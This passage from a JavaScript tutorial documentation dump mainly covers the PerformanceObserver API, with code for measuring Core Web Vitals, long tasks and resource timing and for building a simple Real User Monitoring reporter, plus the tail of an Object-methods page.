`Object.keys()` when you only need property names. Use `Object.entries()` when you need both keys and values, especially for transformations with `Object.fromEntries()`. </Accordion> <Accordion title="How do you deep clone an object in JavaScript?"> Use `structuredClone()`, which was added to all major browsers and Node.js in 2022. It creates a true deep copy that handles nested objects, circular references, `Date`, `Map`, and `Set` objects. The older `JSON.parse(JSON.stringify(obj))` workaround fails with these types and cannot handle functions. </Accordion> <Accordion title="What is Object.groupBy() and when was it introduced?"> `Object.groupBy()` groups array elements by a callback function's return value, creating an object where each key maps to an array of matching items. It was standardized in ES2024 (March 2024). According to MDN, check browser compatibility before using in production without a polyfill. </Accordion> <Accordion title="Why should I use Object.hasOwn() instead of hasOwnProperty()?"> `Object.hasOwn()` is safer in two cases: it works on null-prototype objects (where `hasOwnProperty` does not exist), and it cannot be overridden by a property of the same name on the object. MDN recommends it as the standard replacement for `hasOwnProperty()` in all modern JavaScript code. </Accordion> <Accordion title="Does Object.assign() create a deep copy of nested objects?"> No. `Object.assign()` performs a shallow copy — only the top-level properties are copied. Nested objects are still shared by reference, meaning changes to nested properties in the copy affect the original. For independent nested copies, use `structuredClone()` instead. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> Control property behavior with writable, enumerable, and configurable flags. </Card> <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> Create computed properties that run code on access. </Card> <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> Intercept and customize fundamental object operations. </Card> <Card title="Object Creation & Prototypes" icon="sitemap" href="/concepts/object-creation-prototypes"> Different ways to create objects and how inheritance works. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Object — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"> Complete reference for the Object constructor and all its static methods. </Card> <Card title="Object.keys() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"> Official documentation for extracting object keys as an array. </Card> <Card title="Object.groupBy() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy"> Reference for the new ES2024 grouping method with browser compatibility info. </Card> <Card title="structuredClone() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone"> Documentation for deep cloning with the structured clone algorithm. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Object.keys, values, entries — javascript.info" icon="newspaper" href="https://javascript.info/keys-values-entries"> Clear explanation of the iteration trio with practical exercises. Covers the difference between plain objects and Map/Set iteration methods. </Card> <Card title="Deep-copying in JavaScript using structuredClone — web.dev" icon="newspaper" href="https://web.dev/articles/structured-clone"> Explains why structuredClone() was added and how it compares to JSON.parse/stringify. Includes performance considerations and limitations. </Card> <Card title="Object.hasOwn() — Better than hasOwnProperty" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn"> MDN's explanation of why hasOwn() is preferred, with examples of edge cases where hasOwnProperty() fails. </Card> <Card title="Working with Objects — MDN Guide" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects"> Comprehensive MDN guide covering object fundamentals, methods, and common patterns. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Object Methods You Should Know — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=Jb3lsNAAXOE"> Quick overview of essential Object methods with clear examples. Great for visual learners who want a fast introduction. </Card> <Card title="Deep Clone vs Shallow Clone — Fireship" icon="video" href="https://www.youtube.com/watch?v=4Ej0LwjCDZQ"> Concise explanation of cloning strategies in JavaScript. Covers the gotchas of shallow copying and when you need structuredClone(). </Card> <Card title="Object.groupBy() in JavaScript — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=mIivxRMXDMw"> Tutorial on the new ES2024 groupBy method with practical use cases for data organization. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/performance-observer.mdx ================================================ --- title: "PerformanceObserver in JS" sidebarTitle: "Performance Observer" description: "Learn the Performance Observer API in JavaScript. Measure page performance, track Long Tasks, and collect Core Web Vitals metrics." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Observer APIs" "article:tag": "performanceobserver, core web vitals, long tasks, performance metrics, page speed" --- How do you know if your website is actually fast for real users? You might run Lighthouse once, but what about the thousands of visitors with different devices, network conditions, and usage patterns? Without real-time performance monitoring, you're flying blind. ```javascript // Monitor every resource loaded on your page const observer = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { console.log(`${entry.name}: ${entry.duration.toFixed(2)}ms`) }) }) observer.observe({ type: 'resource', buffered: true }) // Output: // https://example.com/app.js: 245.30ms // https://example.com/styles.css: 89.50ms // https://example.com/hero.webp: 412.80ms ``` The **[Performance Observer API](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver)** lets you monitor performance metrics as they happen in real-time. Instead of polling for data, you subscribe to specific performance events and get notified when they occur. According to [web.dev](https://web.dev/articles/custom-metrics), this is the foundation of Real User Monitoring (RUM) and how tools like Google Analytics measure Core Web Vitals. <Info> **What you'll learn in this guide:** - What Performance Observer is and why it replaced older APIs - The different entry types you can observe (resource, paint, longtask, etc.) - How to measure Core Web Vitals (LCP, CLS, INP, FCP, TTFB) - Using the `buffered` option to capture historical entries - Building a simple Real User Monitoring (RUM) solution - Common patterns and best practices for production - The web-vitals library for simplified metrics collection </Info> <Warning> **Prerequisite:** This guide assumes familiarity with [Callbacks](/concepts/callbacks) and the [Event Loop](/concepts/event-loop). Performance Observer uses callback-based subscriptions and interacts with the browser's timing mechanisms. </Warning> --- ## What is Performance Observer? **Performance Observer** is a browser API that asynchronously observes performance measurement events and notifies you when new performance entries are recorded in the browser's performance timeline. It provides a non-blocking way to collect performance metrics without impacting the user experience. Think of Performance Observer like a security camera system. Instead of constantly checking every room for activity (polling), cameras automatically record and alert you when motion is detected. Similarly, Performance Observer automatically notifies your code when performance events occur, without you having to repeatedly ask "did anything happen yet?" ```javascript // Create an observer with a callback function const observer = new PerformanceObserver((list, observer) => { // Called whenever new performance entries are recorded const entries = list.getEntries() entries.forEach((entry) => { console.log(`Entry type: ${entry.entryType}`) console.log(`Name: ${entry.name}`) console.log(`Start time: ${entry.startTime}`) console.log(`Duration: ${entry.duration}`) }) }) // Start observing specific entry types observer.observe({ entryTypes: ['resource', 'navigation'] }) ``` ### Why Performance Observer Exists Before Performance Observer, developers used three methods on the `performance` object: ```javascript // ❌ OLD WAY: Polling-based approaches performance.getEntries() // Get all entries performance.getEntriesByName(name) // Get entries by name performance.getEntriesByType(type) // Get entries by type // Problems: // 1. You have to keep calling these methods (polling) // 2. You might miss entries between polls // 3. No way to know when new entries are added // 4. Blocks the main thread while processing ``` Performance Observer solves these problems: ```javascript // ✅ NEW WAY: Event-driven approach const observer = new PerformanceObserver((list) => { // Automatically called when new entries are recorded list.getEntries().forEach(processEntry) }) observer.observe({ type: 'resource', buffered: true }) // Benefits: // 1. Non-blocking - callbacks fire during idle time // 2. Never miss entries - you're notified automatically // 3. Better performance - no polling overhead // 4. Can capture entries that happened before observing ``` <CardGroup cols={2}> <Card title="Performance Observer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver"> Complete API reference with methods, properties, and browser compatibility </Card> <Card title="Performance API Overview — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Performance_API"> Understanding the broader Performance API ecosystem </Card> </CardGroup> --- ## Performance Entry Types Performance Observer can observe many different types of entries. Each type captures specific performance data: ```javascript // Check which entry types your browser supports console.log(PerformanceObserver.supportedEntryTypes) // Output (Chrome): // ['element', 'event', 'first-input', 'largest-contentful-paint', // 'layout-shift', 'longtask', 'mark', 'measure', 'navigation', // 'paint', 'resource', 'visibility-state'] ``` ### Entry Type Reference | Entry Type | Description | Use Case | |------------|-------------|----------| | `resource` | Network requests for scripts, styles, images, etc. | Track asset loading times | | `navigation` | Page navigation timing | Measure page load performance | | `paint` | First Paint and First Contentful Paint | Track rendering milestones | | `largest-contentful-paint` | LCP metric (Core Web Vital) | Measure loading performance | | `layout-shift` | Visual stability changes | Calculate CLS (Core Web Vital) | | `longtask` | Tasks blocking main thread >50ms | Identify performance bottlenecks | | `first-input` | First user interaction timing | Measure FID (deprecated, use INP) | | `event` | User interaction events | Calculate INP (Core Web Vital) | | `mark` | Custom performance marks | Create custom timing points | | `measure` | Custom performance measures | Measure custom code sections | ### Observing Resource Timing Resource timing tells you exactly how long each network request takes: ```javascript const resourceObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { // Basic timing console.log(`Resource: ${entry.name}`) console.log(`Duration: ${entry.duration}ms`) // Detailed breakdown const dns = entry.domainLookupEnd - entry.domainLookupStart const tcp = entry.connectEnd - entry.connectStart const ttfb = entry.responseStart - entry.requestStart const download = entry.responseEnd - entry.responseStart console.log(`DNS lookup: ${dns}ms`) console.log(`TCP connection: ${tcp}ms`) console.log(`Time to First Byte: ${ttfb}ms`) console.log(`Download: ${download}ms`) }) }) resourceObserver.observe({ type: 'resource', buffered: true }) ``` ### Observing Navigation Timing Navigation timing captures the full page load lifecycle: ```javascript const navObserver = new PerformanceObserver((list) => { const entry = list.getEntries()[0] // Only one navigation entry per page // Key metrics const dns = entry.domainLookupEnd - entry.domainLookupStart const tcp = entry.connectEnd - entry.connectStart const ttfb = entry.responseStart - entry.startTime const domParsing = entry.domInteractive - entry.responseEnd const domComplete = entry.domComplete - entry.startTime const loadComplete = entry.loadEventEnd - entry.startTime console.log(`DNS: ${dns}ms`) console.log(`TCP: ${tcp}ms`) console.log(`TTFB: ${ttfb}ms`) console.log(`DOM Parsing: ${domParsing}ms`) console.log(`DOM Complete: ${domComplete}ms`) console.log(`Full Load: ${loadComplete}ms`) }) navObserver.observe({ type: 'navigation', buffered: true }) ``` ### Observing Paint Timing Paint timing tracks when the browser first renders content: ```javascript const paintObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { console.log(`${entry.name}: ${entry.startTime}ms`) }) }) paintObserver.observe({ type: 'paint', buffered: true }) // Output: // first-paint: 245.5ms // first-contentful-paint: 312.8ms ``` --- ## Measuring Core Web Vitals Core Web Vitals are Google's essential metrics for user experience. According to the [Chrome User Experience Report](https://developer.chrome.com/docs/crux/), sites meeting all three Core Web Vitals thresholds see 24% fewer page abandonment rates. Performance Observer is how you measure them in the field. ### Largest Contentful Paint (LCP) LCP measures loading performance — specifically, when the largest content element becomes visible. ```javascript // Measure LCP (target: < 2.5 seconds) const lcpObserver = new PerformanceObserver((list) => { const entries = list.getEntries() // LCP can change until user interacts, so always use the latest const lastEntry = entries[entries.length - 1] console.log(`LCP: ${lastEntry.startTime}ms`) console.log(`Element:`, lastEntry.element) console.log(`Size: ${lastEntry.size}`) // Rate the score if (lastEntry.startTime <= 2500) { console.log('Rating: Good') } else if (lastEntry.startTime <= 4000) { console.log('Rating: Needs Improvement') } else { console.log('Rating: Poor') } }) lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }) ``` ### Cumulative Layout Shift (CLS) CLS measures visual stability — how much the page layout shifts unexpectedly. ```javascript // Measure CLS (target: < 0.1) let clsValue = 0 const clsObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { // Only count shifts without recent user input if (!entry.hadRecentInput) { clsValue += entry.value console.log(`Layout shift: ${entry.value}`) console.log(`Cumulative CLS: ${clsValue}`) } }) }) clsObserver.observe({ type: 'layout-shift', buffered: true }) // Report final CLS when page is hidden document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { console.log(`Final CLS: ${clsValue}`) // Send to analytics } }) ``` ### Interaction to Next Paint (INP) INP measures responsiveness — the latency of user interactions. ```javascript // Measure INP (target: < 200ms) let maxINP = 0 const inpObserver = new PerformanceObserver((list) => { list.getEntries().forEach((entry) => { // Track the worst interaction if (entry.duration > maxINP) { maxINP = entry.duration console.log(`New worst interaction: ${maxINP}ms`) console.log(`Event type: ${entry.name}`) } }) }) // durationThreshold filters out fast interactions inpObserver.observe({ type: 'event', buffered: true, durationThreshold: 40 // Only report interactions > 40ms }) ``` ### First Contentful Paint (FCP) FCP measures when the first content appears on screen. ```javascript // Measure FCP (target: < 1.8 seconds) const fcpObserver = new PerformanceObserver((list) => { const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint') if (fcp) { console.log(`FCP: ${fcp.startTime}ms`) if (fcp.startTime <= 1800) { console.log('Rating: Good') } else if (fcp.startTime <= 3000) { console.log('Rating: Needs Improvement') } else { console.log('Rating: Poor') } } }) fcpObserver.observe({ type: 'paint', buffered: true }) ``` ### Time to First Byte (TTFB) TTFB measures server response time. ```javascript // Measure TTFB (target: < 800ms) const ttfbObserver = new PerformanceObserver((list) => { const entry = list.getEntries()[0] const ttfb = entry.responseStart - entry.startTime console.log(`TTFB: ${ttfb}ms`) // Breakdown const dns = entry.domainLookupEnd - entry.domainLookupStart const connection = entry.connectEnd - entry.connectStart const waiting = entry.responseStart - entry.requestStart console.log(`DNS: ${dns}ms`) console.log(`Connection: ${connection}ms`) console.log(`Server wait: ${waiting}ms`) }) ttfbObserver.observe({ type: 'navigation', buffered: true }) ``` --- ## The Buffered Option The `buffered` option is crucial for capturing performance entries that occurred before your observer started listening. ```javascript // Without buffered: Only see entries AFTER observe() is called observer.observe({ type: 'resource' }) // With buffered: Also get entries that already happened observer.observe({ type: 'resource', buffered: true }) ``` ### Why Buffered Matters Consider this scenario: ```javascript // Your performance script loads at 2000ms // But images loaded at 500ms, 800ms, and 1200ms // Without buffered: You miss all those image timings! // With buffered: You get all historical entries in the first callback ``` ### How Buffered Works ```javascript const observer = new PerformanceObserver((list, obs) => { const entries = list.getEntries() console.log(`Received ${entries.length} entries`) entries.forEach(entry => { console.log(`${entry.name} at ${entry.startTime}ms`) }) }) // First callback will include ALL resource entries since page load observer.observe({ type: 'resource', buffered: true }) ``` <Warning> **Buffer Limits:** The browser only keeps a limited number of entries in the buffer. For high-volume entry types like `resource`, very old entries may be dropped. Always set up observers as early as possible. </Warning> --- ## Custom Performance Marks and Measures You can create your own timing points using marks and measures: ```javascript // Create custom timing points performance.mark('api-call-start') await fetch('/api/users') performance.mark('api-call-end') // Measure the duration between marks performance.measure('api-call', 'api-call-start', 'api-call-end') // Observe custom measures const customObserver = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { console.log(`${entry.name}: ${entry.duration}ms`) }) }) customObserver.observe({ type: 'measure', buffered: true }) // Output: api-call: 245.3ms ``` ### Practical Custom Metrics ```javascript // Measure component render time function measureRender(componentName, renderFn) { performance.mark(`${componentName}-start`) renderFn() performance.mark(`${componentName}-end`) performance.measure(componentName, `${componentName}-start`, `${componentName}-end`) } // Measure time to interactive for specific features performance.mark('search-ready') initSearchComponent() performance.mark('search-interactive') performance.measure('search-init', 'search-ready', 'search-interactive') // Measure user flows performance.mark('checkout-start') // ... user completes checkout ... performance.mark('checkout-complete') performance.measure('checkout-flow', 'checkout-start', 'checkout-complete') ``` --- ## Tracking Long Tasks Long Tasks are JavaScript tasks that block the main thread for more than 50ms. They directly impact responsiveness. ```javascript // Detect tasks blocking the main thread const longTaskObserver = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { console.warn(`Long task detected!`) console.log(`Duration: ${entry.duration}ms`) console.log(`Start time: ${entry.startTime}ms`) // Attribution shows what caused the long task if (entry.attribution && entry.attribution.length > 0) { const attribution = entry.attribution[0] console.log(`Container: ${attribution.containerType}`) console.log(`Source: ${attribution.containerSrc}`) } }) }) longTaskObserver.observe({ type: 'longtask', buffered: true }) ``` ### Why Long Tasks Matter ``` User clicks button │ ▼ ┌─────────────────────────────────────────┐ │ Long Task (150ms) │ │ ┌───────────────────────────────────┐ │ │ │ Your heavy JavaScript code │ │ │ └───────────────────────────────────┘ │ └─────────────────────────────────────────┘ │ ▼ Browser finally responds (150ms later) ``` If a task takes 150ms, the user waits 150ms for any response. That feels slow! --- ## Building a Simple RUM Solution Here's how to build a basic Real User Monitoring solution using Performance Observer: ```javascript // Simple RUM implementation class PerformanceMonitor { constructor(endpoint = '/analytics') { this.endpoint = endpoint this.metrics = {} this.observers = [] this.init() } init() { // Observe LCP this.observe('largest-contentful-paint', (entries) => { const lastEntry = entries[entries.length - 1] this.metrics.lcp = lastEntry.startTime }) // Observe CLS this.metrics.cls = 0 this.observe('layout-shift', (entries) => { entries.forEach(entry => { if (!entry.hadRecentInput) { this.metrics.cls += entry.value } }) }) // Observe FCP this.observe('paint', (entries) => { const fcp = entries.find(e => e.name === 'first-contentful-paint') if (fcp) { this.metrics.fcp = fcp.startTime } }) // Observe Navigation this.observe('navigation', (entries) => { const nav = entries[0] this.metrics.ttfb = nav.responseStart - nav.startTime this.metrics.domContentLoaded = nav.domContentLoadedEventEnd - nav.startTime this.metrics.load = nav.loadEventEnd - nav.startTime }) // Report when page is hidden document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { this.report() } }) } observe(type, callback) { try { const observer = new PerformanceObserver((list) => { callback(list.getEntries()) }) observer.observe({ type, buffered: true }) this.observers.push(observer) } catch (e) { console.warn(`${type} not supported`) } } report() { const body = JSON.stringify({ url: window.location.href, timestamp: Date.now(), metrics: this.metrics }) // Use sendBeacon for reliable delivery if (navigator.sendBeacon) { navigator.sendBeacon(this.endpoint, body) } else { fetch(this.endpoint, { method: 'POST', body, keepalive: true }) } } disconnect() { this.observers.forEach(obs => obs.disconnect()) } } // Usage const monitor = new PerformanceMonitor('/api/analytics') ``` --- ## Using the web-vitals Library For production use, Google's [web-vitals](https://github.com/GoogleChrome/web-vitals) library handles all the edge cases: ```javascript import { onCLS, onINP, onLCP, onFCP, onTTFB } from 'web-vitals' function sendToAnalytics(metric) { const body = JSON.stringify({ name: metric.name, value: metric.value, rating: metric.rating, // 'good' | 'needs-improvement' | 'poor' delta: metric.delta, id: metric.id, navigationType: metric.navigationType }) navigator.sendBeacon('/analytics', body) } // Measure all Core Web Vitals onCLS(sendToAnalytics) onINP(sendToAnalytics) onLCP(sendToAnalytics) onFCP(sendToAnalytics) onTTFB(sendToAnalytics) ``` ### Why Use web-vitals? ```javascript // web-vitals handles edge cases you'd forget: // 1. LCP can change until first user input // 2. CLS needs session windowing for accurate scores // 3. INP needs to track all interactions, not just first // 4. Proper handling of bfcache navigations // 5. Correct timing for prerendered pages // 6. Delta values for analytics deduplication ``` <CardGroup cols={2}> <Card title="web-vitals Library" icon="github" href="https://github.com/GoogleChrome/web-vitals"> Production-ready library for measuring Core Web Vitals accurately </Card> <Card title="Web Vitals Thresholds — web.dev" icon="gauge" href="https://web.dev/articles/vitals"> Official thresholds and guidelines for LCP, CLS, and INP </Card> </CardGroup> --- ## Observer Methods ### observe() Start observing performance entries: ```javascript // Observe single type (preferred) observer.observe({ type: 'resource', buffered: true }) // Observe multiple types (legacy) observer.observe({ entryTypes: ['resource', 'navigation'] }) ``` <Warning> **Note:** When using `entryTypes`, you cannot use `buffered` or `durationThreshold`. Use the single `type` option for more control. </Warning> ### disconnect() Stop observing and clean up: ```javascript // Stop all observation observer.disconnect() // Common pattern: disconnect after getting what you need const observer = new PerformanceObserver((list, obs) => { const fcp = list.getEntries().find(e => e.name === 'first-contentful-paint') if (fcp) { console.log('FCP:', fcp.startTime) obs.disconnect() // No longer need to observe } }) observer.observe({ type: 'paint', buffered: true }) ``` ### takeRecords() Get pending entries and clear the buffer: ```javascript const observer = new PerformanceObserver((list) => { // Normal processing }) observer.observe({ type: 'resource', buffered: true }) // Later: Get any entries that haven't triggered callback yet const pendingEntries = observer.takeRecords() console.log('Pending entries:', pendingEntries) ``` --- ## Common Mistakes ### Mistake 1: Not Using Buffered ```javascript // ❌ WRONG: Misses entries that occurred before observe() const observer = new PerformanceObserver((list) => { // Might never receive LCP if it already happened! }) observer.observe({ type: 'largest-contentful-paint' }) // ✅ CORRECT: Capture historical entries observer.observe({ type: 'largest-contentful-paint', buffered: true }) ``` ### Mistake 2: Not Handling Page Visibility ```javascript // ❌ WRONG: Never reports if user closes tab const observer = new PerformanceObserver((list) => { // Data lost when page closes }) // ✅ CORRECT: Report when page is hidden document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { sendMetricsToServer() } }) ``` ### Mistake 3: Using Wrong Report Method ```javascript // ❌ WRONG: fetch() might be cancelled when page unloads window.addEventListener('beforeunload', () => { fetch('/analytics', { method: 'POST', body: data }) }) // ✅ CORRECT: sendBeacon() is designed for this window.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { navigator.sendBeacon('/analytics', data) } }) ``` ### Mistake 4: Not Checking Browser Support ```javascript // ❌ WRONG: Crashes in older browsers const observer = new PerformanceObserver(callback) // ✅ CORRECT: Check support first if ('PerformanceObserver' in window) { const observer = new PerformanceObserver(callback) // Also check specific entry type support if (PerformanceObserver.supportedEntryTypes.includes('largest-contentful-paint')) { observer.observe({ type: 'largest-contentful-paint', buffered: true }) } } ``` ### Mistake 5: Observing in Production Without Sampling ```javascript // ❌ WRONG: Every user sends data = massive traffic const observer = new PerformanceObserver((list) => { sendToAnalytics(list.getEntries()) // Called for every user }) // ✅ CORRECT: Sample a percentage of users const shouldSample = Math.random() < 0.1 // 10% of users if (shouldSample) { const observer = new PerformanceObserver((list) => { sendToAnalytics(list.getEntries()) }) observer.observe({ type: 'resource', buffered: true }) } ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Performance Observer is event-driven** — It notifies you when performance entries are recorded, instead of requiring you to poll for data. 2. **Always use `buffered: true`** — This captures entries that occurred before your observer started listening. Essential for metrics like LCP and FCP. 3. **Core Web Vitals are measurable** — LCP (loading), CLS (visual stability), and INP (interactivity) can all be measured with Performance Observer. 4. **Use `sendBeacon()` for reporting** — It's designed to reliably send data even when the page is closing. Always report on `visibilitychange`. 5. **Check browser support** — Use `PerformanceObserver.supportedEntryTypes` to verify which entry types are available. 6. **Use web-vitals in production** — Google's library handles edge cases like session windowing, bfcache, and prerendering that are easy to get wrong. 7. **Long tasks hurt responsiveness** — Tasks blocking the main thread >50ms directly impact user experience. Monitor them! 8. **Custom marks and measures** — Use `performance.mark()` and `performance.measure()` to track application-specific timings. 9. **Sample in production** — Don't send analytics data for every user. Sample a percentage to manage traffic. 10. **Clean up observers** — Call `disconnect()` when you no longer need to observe, especially in SPAs where components unmount. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between using `type` vs `entryTypes` in observe()?"> **Answer:** - **`type`** (single string): Preferred modern approach. Lets you use additional options like `buffered` and `durationThreshold`. - **`entryTypes`** (array): Legacy approach for observing multiple types with one observer. Cannot use `buffered` or `durationThreshold`. ```javascript // Modern (preferred) observer.observe({ type: 'resource', buffered: true }) // Legacy (limited options) observer.observe({ entryTypes: ['resource', 'navigation'] }) ``` For most use cases, create separate observers with `type` for better control. </Accordion> <Accordion title="Question 2: Why is the `buffered` option important?"> **Answer:** The `buffered` option tells the browser to include historical entries that were recorded before you called `observe()`. Without it, you only receive entries that occur after observation starts. This is crucial because: - Your performance script might load after key events (like FCP or LCP) - Resources might have already loaded by the time your code runs - You want a complete picture, not just partial data ```javascript // Script loads at 2000ms, but LCP happened at 1500ms // Without buffered: You miss LCP entirely // With buffered: First callback includes the LCP entry ``` </Accordion> <Accordion title="Question 3: How do you accurately measure CLS?"> **Answer:** CLS (Cumulative Layout Shift) requires special handling: 1. **Only count unexpected shifts** — Ignore shifts that follow user input 2. **Accumulate over time** — CLS is cumulative, so add up all shifts 3. **Report at the right time** — Send the final value when the page is hidden ```javascript let clsValue = 0 const observer = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { if (!entry.hadRecentInput) { clsValue += entry.value } }) }) observer.observe({ type: 'layout-shift', buffered: true }) document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { sendMetric('CLS', clsValue) } }) ``` </Accordion> <Accordion title="Question 4: Why use `sendBeacon()` instead of `fetch()` for analytics?"> **Answer:** `sendBeacon()` is designed specifically for sending analytics data when the page is unloading: 1. **Guaranteed delivery** — The browser ensures the request is sent even if the page closes 2. **Non-blocking** — Doesn't delay page navigation or closing 3. **Survives page unload** — Unlike `fetch()`, which may be cancelled ```javascript // ❌ fetch() might be cancelled window.addEventListener('beforeunload', () => { fetch('/analytics', { method: 'POST', body: data }) }) // ✅ sendBeacon() is reliable document.addEventListener('visibilitychange', () => { if (document.visibilityState === 'hidden') { navigator.sendBeacon('/analytics', data) } }) ``` </Accordion> <Accordion title="Question 5: What are Long Tasks and why do they matter?"> **Answer:** Long Tasks are JavaScript tasks that block the main thread for more than 50ms. They matter because: 1. **They block user interaction** — User can't click, scroll, or type while a long task runs 2. **They cause jank** — Animations and scrolling stutter 3. **They impact INP** — Long tasks directly worsen interaction responsiveness ```javascript const observer = new PerformanceObserver((list) => { list.getEntries().forEach(entry => { console.warn(`Long task: ${entry.duration}ms`) // Duration > 50ms is considered "long" }) }) observer.observe({ type: 'longtask', buffered: true }) ``` If you see many long tasks, break up your JavaScript into smaller chunks or use Web Workers. </Accordion> <Accordion title="Question 6: How does web-vitals library improve on raw Performance Observer?"> **Answer:** The web-vitals library handles many edge cases that are easy to get wrong: 1. **LCP finalization** — Stops tracking when user interacts (correct behavior) 2. **CLS session windowing** — Uses proper 5-second windows with 1-second gaps 3. **INP calculation** — Correctly identifies the worst interaction, not just the first 4. **bfcache handling** — Properly handles back/forward cache navigations 5. **Prerender support** — Adjusts timings for prerendered pages 6. **Delta values** — Provides deltas for proper analytics deduplication ```javascript import { onLCP } from 'web-vitals' onLCP((metric) => { // All edge cases handled for you console.log(metric.value) // The LCP value console.log(metric.rating) // 'good', 'needs-improvement', or 'poor' console.log(metric.delta) // Change since last report }) ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is PerformanceObserver in JavaScript?"> PerformanceObserver is a browser API that asynchronously observes performance measurement events — resource loading, paint timing, layout shifts, and more. It replaced the older polling-based `performance.getEntries()` approach with an event-driven callback model. MDN recommends it as the standard way to collect Real User Monitoring data. </Accordion> <Accordion title="What are Core Web Vitals and how do I measure them?"> Core Web Vitals are three metrics Google uses to evaluate user experience: LCP (Largest Contentful Paint, target under 2.5s), CLS (Cumulative Layout Shift, target under 0.1), and INP (Interaction to Next Paint, target under 200ms). All three can be measured using PerformanceObserver. For production use, Google recommends the `web-vitals` library. </Accordion> <Accordion title="What does the buffered option do in PerformanceObserver?"> The `buffered: true` option tells the browser to include performance entries recorded before you called `observe()`. Without it, you miss entries like FCP or LCP that occurred before your script loaded. Web.dev recommends always using `buffered: true` for metrics collection. </Accordion> <Accordion title="Why should I use sendBeacon instead of fetch for analytics?"> `navigator.sendBeacon()` is designed to reliably send data even when a page is unloading — unlike `fetch()`, which may be cancelled. MDN documents that `sendBeacon` uses a POST request that the browser guarantees to deliver, making it ideal for sending performance metrics on the `visibilitychange` event. </Accordion> <Accordion title="What is a Long Task and why does it matter?"> A Long Task is any JavaScript task that blocks the main thread for more than 50ms. During a Long Task, users cannot click, scroll, or type. According to web.dev, Long Tasks are the primary cause of poor INP scores. Monitor them with `observer.observe({ type: 'longtask' })` and break up heavy code into smaller chunks. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> Understand how the browser schedules tasks and why long tasks block the main thread </Card> <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> Performance Observer uses callbacks to notify you of new entries asynchronously </Card> <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> Move heavy computation off the main thread to prevent long tasks </Card> <Card title="HTTP & Fetch" icon="globe" href="/concepts/http-fetch"> Understanding network requests helps interpret resource timing data </Card> </CardGroup> --- ## Resources <CardGroup cols={2}> <Card title="Performance Observer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver"> Complete API reference including all methods, properties, and browser compatibility tables </Card> <Card title="Performance API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Performance_API"> Overview of the broader Performance API ecosystem and all related interfaces </Card> <Card title="PerformanceEntry Types — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceEntry/entryType"> Reference for all performance entry types and their specific properties </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Web Vitals — web.dev" icon="newspaper" href="https://web.dev/articles/vitals"> Official guide to Core Web Vitals with thresholds, measurement tools, and optimization tips from Google </Card> <Card title="Custom Metrics — web.dev" icon="newspaper" href="https://web.dev/articles/custom-metrics"> Comprehensive guide to measuring custom performance metrics using Performance Observer APIs </Card> <Card title="Best Practices for Web Vitals — web.dev" icon="newspaper" href="https://web.dev/articles/vitals-field-measurement-best-practices"> Field measurement best practices for collecting accurate Core Web Vitals data in production </Card> <Card title="Long Tasks API — web.dev" icon="newspaper" href="https://web.dev/articles/optimize-long-tasks"> Deep dive into detecting and optimizing long tasks that block the main thread </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Core Web Vitals — Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=AQqFZ5t8uNc"> Official introduction to Core Web Vitals metrics and why they matter for user experience </Card> <Card title="Performance Observer Explained" icon="video" href="https://www.youtube.com/watch?v=fr7VL7dXc6g"> Practical walkthrough of Performance Observer API with real-world examples </Card> <Card title="Measuring Web Performance — HTTP 203" icon="video" href="https://www.youtube.com/watch?v=NxhJmFQSFqE"> Jake Archibald and Surma discuss performance measurement techniques and common pitfalls </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/property-descriptors.mdx ================================================ --- title: "Property Descriptors in 